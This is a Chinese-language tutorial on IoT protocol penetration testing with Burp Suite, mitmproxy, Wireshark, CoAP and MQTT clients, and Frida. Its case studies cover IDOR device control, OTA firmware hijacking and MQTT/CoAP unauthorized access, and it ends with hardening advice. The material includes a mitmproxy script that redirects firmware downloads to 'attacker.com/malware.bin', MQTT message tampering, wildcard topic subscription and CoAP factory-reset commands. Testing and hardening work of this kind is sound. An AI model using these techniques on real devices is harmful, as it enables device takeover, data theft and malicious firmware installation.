概述
随着物联网(IoT)设备的普及,安全测试变得日益重要。Burp Suite作为Web应用安全测试的瑞士军刀,在IoT渗透测试中同样发挥着关键作用。本文将深入解析如何利用Burp Suite进行IoT协议渗透测试,并提供具体实战案例。
一、IoT通信架构与测试策略
1.1 IoT典型通信架构
text
App ←→ 云端服务器 ←→ 设备
│ │
└─ HTTP/WebSocket
MQTT/CoAP
1.2 Burp Suite在IoT测试中的定位
-
主要拦截:App与云端之间的HTTP/HTTPS流量
-
间接分析:通过旁路方法处理非HTTP协议
-
关键作用:认证机制分析、API漏洞挖掘、固件安全测试

二、常用协议解析与Burp拦截方法
2.1 HTTP/HTTPS协议(最常用)
📌 适用场景
-
App与云服务器通信
-
固件OTA更新
-
设备管理接口
🔧 Burp拦截配置
bash
# 配置代理
Burp Proxy → Options → Proxy Listeners
添加:0.0.0.0:8080
# 手机配置(一般需root)
Wi-Fi → 手动代理 → 设置Burp IP和端口
安装Burp CA证书
2.2 WebSocket协议(实时控制)
📌 适用场景
-
智能灯光控制
-
实时状态推送
-
视频流信令传输
🔧 Burp分析方法
-
正常配置HTTP代理
-
在Proxy → WebSockets history中查看流量
-
使用Repeater进行重放测试
🎯 实战技巧
json
// 原始WebSocket帧
{"cmd":"setTemperature","value":25,"token":"xyz123"}
// 修改测试
{"cmd":"setTemperature","value":100,"token":"xyz123"}
// 测试:1. token有效性 2. 值范围检查 3. 重放攻击
2.3 MQTT协议拦截方案
🟢 场景1:MQTT over WebSocket(Burp直接支持)
text
配置:wss://iot.example.com:8084/mqtt
Burp可直接拦截、修改、重放MQTT消息
Burp → Proxy → WebSockets → 能看到所有 MQTT 帧(Base64 / JSON / 二进制)
🟡 场景2:原生MQTT(TCP 1883/8883)
方法A:mitmproxy TCP拦截
python
# mitmproxy脚本:mqtt_intercept.py
from mitmproxy import tcp
def tcp_message(flow: tcp.TCPFlow):
message = flow.messages[-1]
# MQTT连接识别(前4字节)
if len(message.content) > 4:
packet_type = (message.content[0] & 0xF0) >> 4
if packet_type == 1: # CONNECT
print("MQTT CONNECT包")
elif packet_type == 3: # PUBLISH
print(f"PUBLISH主题长度: {message.content[3]}")
# 修改MQTT消息
if b"turnOff" in message.content:
modified = message.content.replace(b"turnOff", b"turnOn")
message.content = modified
启动命令:
bash
mitmproxy --mode transparent --scripts mqtt_intercept.py
方法B:tcpdump + Wireshark组合
bash
# 在IoT网关或AP上抓包
tcpdump -i eth0 -w mqtt_traffic.pcap tcp port 1883 or port 8883
# 使用Wireshark分析
# 过滤: mqtt
# 可查看:CONNECT、PUBLISH、SUBSCRIBE报文
2.4 CoAP协议拦截方案
🔍 CoAP协议特点
-
基于UDP 5683/5684端口
-
RESTful风格,类似HTTP
-
支持观察者模式(Observe)
🛠 拦截方法
方法1:tcpdump + Wireshark
bash
# 抓取CoAP流量
tcpdump -i wlan0 -s 0 -w coap.pcap udp port 5683 or port 5684
# Wireshark分析技巧
# 过滤:coap
# 可查看:GET/POST/PUT/DELETE方法、Token、Message ID
方法2:CoAP客户端工具主动测试
bash
# 使用libcoap工具
coap-client -m get coap://192.168.1.100/temperature
coap-client -m post -e '{"cmd":"on"}' coap://192.168.1.100/light
# 使用aiocoap(Python)
python -m aiocoap.cli get coap://192.168.1.100/.well-known/core
方法3:Frida Hook CoAP实现
javascript
// 针对Android CoAP库的Hook
Java.perform(function() {
var CoapClient = Java.use("org.eclipse.californium.core.CoapClient");
CoapClient.get.implementation = function() {
console.log("[CoAP GET] URI: " + this.getURI());
return this.get();
};
CoapClient.post.implementation = function(payload, contentType) {
console.log("[CoAP POST] Payload: " + payload);
return this.post(payload, contentType);
};
});
三、实战渗透测试案例
案例1:越权控制设备(HTTP API)
测试步骤
-
正常抓取控制请求
text
POST /api/v1/device/control Authorization: Bearer eyJ0eXAi... Content-Type: application/json {"device_id":"DEV001","command":"turn_on"} -
修改测试
json
// 测试1:删除Token {"device_id":"DEV002","command":"unlock"} // 测试2:修改device_id {"device_id":"DEV999","command":"admin_reset"} // 测试3:遍历device_id(使用Intruder) {"device_id":"§DEV001§","command":"status"}
案例2:OTA固件升级劫持
测试流程
具体操作

-
拦截固件更新请求
http
GET /firmware/update?device_type=smart_camera¤t_ver=1.2.3 Response: { "latest_version": "1.3.0", "download_url": "https://cdn.iot.com/fw/camera_v130.bin", "sha256": "a1b2c3...", "signature": "RSA_SIGNATURE_BASE64" } -
测试签名绕过
python
# 使用mitmproxy脚本修改响应 def response(flow): if "firmware/update" in flow.request.path: import json data = json.loads(flow.response.content) data["download_url"] = "http://attacker.com/malware.bin" # 测试1:不修改签名 # 测试2:删除签名字段 # 测试3:修改哈希值 flow.response.text = json.dumps(data)
案例3:WebSocket实时控制漏洞
测试场景:智能家居控制系统
-
建立WebSocket连接
javascript
// 连接建立 ws://iot-hub.local:8080/control // 认证消息 {"type":"auth","token":"user_token","device_id":"light_01"} // 控制消息 {"type":"control","command":"brightness","value":50} -
安全测试点
-
消息重放:捕获控制消息多次发送
-
参数篡改:修改value为超出范围的值
-
设备越权:修改device_id控制其他设备
-
认证绕过:删除token字段测试
-
-
Burp测试方法
text
1. Proxy → WebSockets history 查看流量 2. 右键消息 → Send to Repeater 3. 修改参数重放测试 4. 使用Intruder进行暴力测试
案例4:MQTT主题枚举与订阅
测试步骤
-
识别MQTT主题模式
text
# 常见主题模式 devices/{device_id}/control users/{user_id}/devices/+ sensors/+/temperature -
使用mqtt-fx进行主题枚举
bash
# 订阅所有主题(谨慎使用) mosquitto_sub -h iot.example.com -t "#" -v # 枚举设备主题 for i in {1..100}; do mosquitto_sub -h iot.example.com -t "devices/device_$i/status" & done -
漏洞利用场景
-
订阅其他用户设备状态
-
向控制主题发布恶意指令
-
拦截敏感数据(GPS位置、传感器数据)
-
案例5:CoAP资源发现与未授权访问
测试流程
bash
# 1. 发现CoAP资源
coap-client -m get coap://192.168.1.100/.well-known/core
# 响应示例
</sensors/temp>;ct=0,
</sensors/humid>;ct=0,
</config/wifi>;ct=0,
</admin/reboot>;ct=0
# 2. 测试敏感接口
coap-client -m get coap://192.168.1.100/config/wifi
# 可能返回:{"ssid":"HomeNet","psk":"MyPassword123"}
# 3. 控制接口测试
coap-client -m post -e 'factory_reset' coap://192.168.1.100/admin/reboot
安全风险
-
信息泄露:Wi-Fi密码、设备密钥
-
未授权控制:重启、恢复出厂设置
-
拒绝服务:重复调用资源消耗型接口
四、IoT渗透测试最佳实践流程
4.1 工具链配置
基础工具栈
yaml
抓包分析:
- Burp Suite Professional
- mitmproxy
- Wireshark
协议测试:
- MQTT: mqtt-fx, mosquitto_clients
- CoAP: coap-client, aiocoap, Copper插件
- WebSocket: websocat, wscat
移动端Hook:
- Frida
- Objection
- Jadx/Ghidra
设备分析:
- binwalk (固件解包)
- QEMU (模拟执行)
- GDB (调试)
自动化测试脚本示例
python
# iot_auto_test.py - 自动化IoT接口测试
import requests
import json
import time
from websocket import create_connection
class IoTFuzzer:
def __init__(self, base_url, token=None):
self.base_url = base_url
self.token = token
self.session = requests.Session()
def test_http_endpoints(self):
# 测试HTTP接口常见漏洞
endpoints = [
'/api/device/list',
'/api/device/control',
'/api/config/get',
'/api/ota/check'
]
for endpoint in endpoints:
self.fuzz_parameters(endpoint)
self.test_auth_bypass(endpoint)
self.test_idor(endpoint)
def test_websocket_control(self, ws_url):
# WebSocket控制测试
ws = create_connection(ws_url)
# 测试消息
test_payloads = [
'{"cmd":"reset"}',
'{"cmd":"admin","action":"reboot"}',
'{}', # 空消息
'A' * 1000 # 长消息
]
for payload in test_payloads:
ws.send(payload)
response = ws.recv()
print(f"Payload: {payload[:50]}... -> Response: {response}")
ws.close()
五、防御建议与安全开发规范
5.1 协议层安全加固
MQTT安全配置
yaml
# mosquitto.conf 安全配置示例
allow_anonymous false # 禁用匿名访问
password_file /etc/mosquitto/passwd
acl_file /etc/mosquitto/acl
# TLS配置
listener 8883
certfile /path/to/cert.pem
keyfile /path/to/key.pem
require_certificate true
# 主题权限控制
pattern read $SYS/#
pattern write devices/%u/control
CoAP安全实践
c
// DTLS配置示例(Contiki-NG)
#define COAP_DTLS_PSK_DEFAULT_IDENTITY "device001"
#define COAP_DTLS_PSK_DEFAULT_KEY { 0x01, 0x02, ... }
// 资源访问控制
RESOURCE(config, "title=\"Config\";rt=\"json\"",
get_config, NULL, NULL, NULL,
COAP_RESOURCE_FLAGS_SECURE);
5.2 应用层安全控制
1. 认证与授权
python
# Django示例 - 设备访问控制
class DevicePermission(permissions.BasePermission):
def has_object_permission(self, request, view, obj):
# 验证用户与设备绑定关系
return obj.owner == request.user or \
request.user.has_perm('manage_all_devices')
2. 请求签名验证
python
# HMAC签名验证示例
def verify_signature(request_data, api_secret):
# 获取签名参数
timestamp = request_data.get('timestamp')
nonce = request_data.get('nonce')
signature = request_data.get('signature')
# 构造签名字符串
sign_string = f"{timestamp}{nonce}{json.dumps(request_data['payload'])}"
# 计算HMAC
expected = hmac.new(api_secret.encode(),
sign_string.encode(),
hashlib.sha256).hexdigest()
return hmac.compare_digest(expected, signature)
3. 固件安全更新
python
# 固件签名验证流程
def verify_firmware_signature(firmware_data, public_key):
# 分离固件和签名
signature = firmware_data[-256:] # RSA 2048签名
firmware = firmware_data[:-256]
# 验证签名
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
public_key.verify(
signature,
firmware,
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH
),
hashes.SHA256()
)
return True